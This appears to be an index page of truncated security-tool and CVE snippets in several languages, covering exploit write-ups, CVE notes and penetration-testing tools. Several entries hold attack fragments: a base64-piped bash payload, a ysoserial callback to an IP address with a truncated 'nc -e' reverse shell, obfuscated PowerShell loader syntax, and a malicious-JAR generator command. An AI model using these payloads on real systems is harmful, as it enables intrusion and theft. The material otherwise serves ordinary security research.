CVE-2026-62928

XING CPTrans-ME-X contains an OS Command Injection CWE-78. Unauthenticated OS command may be injected...

CVE-2026-62928

XING CPTrans-ME-X , a rack accessory product, contains an OS Command Injection vulnerability (CWE-78) that allows unauthenticated attackers to inject arbitrary OS commands. The flaw carries a CVSS 9.8 CRITICAL score (v3.0) with high impact on confidentiality, integrity, and availability, indicati...

how-to-bypass-aslr-on-linux-x86_64

在 Linux x86-64 上绕过 64 位 ASLR 在这篇文章中，我将讨论 Samuel Groß 在他的 Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass 中描述的技术在 Linux x8664 上绕过 ASLR 的应用。 为了展示这一点，我将解决来自 Buckeye CTF 的一个 pwnable 挑战，即 guessgod。 我会尽量让内容对初学者友好，如果你觉得自己已经足够自信，或者只想直接看漏洞利用，可以随意跳过任何部分。 0. 引言...

Pentest-Command

项目背景 在渗透测试过程中我们会使用到各类的框架，例如:MSF、CS、Empire、Impacket等，本项目的主要目的是收录在后渗透测试阶段中常用到的命令 基础知识 WIN目录介绍 a、开机启动程序目录 root@kitploit: C:\Users\Al1ex\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup b、开机自启动程序该特色常被用于进行权限维持 root@kitploit: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup...

dnsresolver

dnsresolver A Lightning-Fast DNS Resolver Table of Contents Installation Usage Basic Usage Resolving Hosts with Ports Virtual Host Enumeration Using Unresolved Domains Using Localhost Demonstrations Feedback License Installation Make sure you have rust installed, then run the following command to...

solr_rce

Apache Solr RCE a través de la plantilla Velocity uso de python: python solrrce.py http://x.x.x.x:8983 command payload codificado para getshell http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Introducción a Solr Solr es la plataforma de...

SHIRO-550

Vulnerabilidad de deserialización de Shiro RememberMe 1.2.4（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

St2-052

S2-052的POC测试原名：Tomcat部署war） 原文地址：http://blog.csdn.net/caiqiiqi/article/details/77861477 从struts2的官网下载最后受影响的版本struts-2.5.12，地址： http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip 注意下载struts-2.5.12-apps即可，不需要下载struts-2.5.12-all.zip。不然struts-2.5.12-all.zip中包含很多其他的东西，可以看到lib目录下有很多jar...

AFLplusplus v5.03c

American Fuzzy Lop plus plus AFL++ Release version: 5.03c GitHub version: 5.03c Repository: https://github.com/AFLplusplus/AFLplusplus AFL++ is maintained by: Marc "van Hauser" Heuse [email protected] Dominik Maier [email protected] Andrea Fioraldi [email protected] Heiko "hexcoder...

Powshell-decode-payload

解码 PowerShell gzip 代码 sal a New-Object;a IO.StreamReadera IO.Compression.GZipStreamIO.MemoryStreamConvert::FromBase64String'xxxx',IO.Compression.CompressionMode::Decompress,Text.Encoding::ASCII.ReadToEnd root@kitploit: sal a New-Object;a IO.StreamReadera...

jvmtiAgentLoad-Exploit

通过 jvmtiAgentLoad 实现任意代码执行 描述： 用于生成恶意 JAR 以利用 jvmtiAgentLoad 的工具和代码。 用法： root@kitploit: $ bash createjar.sh Usage: createjar.sh Supported TARGETOS options: linux|windows Linux 目标 以下命令会生成一个可用于 Linux 目标的 JAR（mal.jar）： root@kitploit: bash createjar.sh linux 'id /tmp/jvmtiLoadAgenttest' Windows 目标...

CVE-2026-85506

A flaw was found in FreeIPMI. A stack-based buffer overflow in the ipmi-oem utility can lead to arbitrary code execution. This vulnerability can be exploited by a local user who executes a specially crafted ipmi-oem command, potentially when processing untrusted data from a remote source...

remove-ai-watermarks v0.37.1

Remove AI Watermarks Remove AI provenance marks from images and video you generated yourself: known visible labels such as the Google Gemini sparkle watermark and vendor text marks; invisible pixel watermarks through diffusion regeneration; C2PA, EXIF, XMP, IPTC, and related AI metadata. Video...

Project-01-Cybersecurity-Home-Lab

Project 1 — Cybersecurity Home Lab Project Overview This...

cupshax

CUPSHax Prueba de concepto rápida para el exploit reciente de CUPS. Planeaba pulirlo mucho más, pero el embargo se levantó mucho antes de lo esperado, así que el código está un poco apresurado. Para todos los detalles técnicos, honestamente deberías leer el artículo de Evilsocket. Este exploit fu...

MAL-2026-15911 Malicious code in 2nestjs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^SECRET|API|TOKEN|KEY/, JSON-serializes the...

Malicious code in 2nestjs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^SECRET|API|TOKEN|KEY/, JSON-serializes the...

invoker

Invoker Penetration testing utility and antivirus assessment tool. Built with Visual Studio Community 2022 v17.5.4 64-bit and tested on Windows 10 Enterprise OS 64-bit. Made for educational purposes. I hope it will help! This repository started to have known signatures and I don't have time to...

invoker

Invoker ペネトレーションテストユーティリティおよびアンチウイルス評価ツール。 Visual Studio Community 2022 v17.5.4（64ビット）でビルドし、Windows 10 Enterprise OS（64ビット）でテストしました。 教育目的で作成されました。お役に立てれば幸いです！ このリポジトリには既知のシグネチャが含まれ始めており、毎回新しい実行ファイルをアップロードする時間がないため、このプロジェクトを自分でコンパイルする必要があります。 便利なウェブサイト: elastic.co learn.microsoft.com...

dnsprobe

Note - This project is discontinued. New updates and fixes will be pushed to dnsx. DNSProbe is a tool built on top of retryabledns that allows you to perform multiple dns queries of your choice with a list of user supplied resolvers. Resources Resources Features Usage Installation Instructions Fr...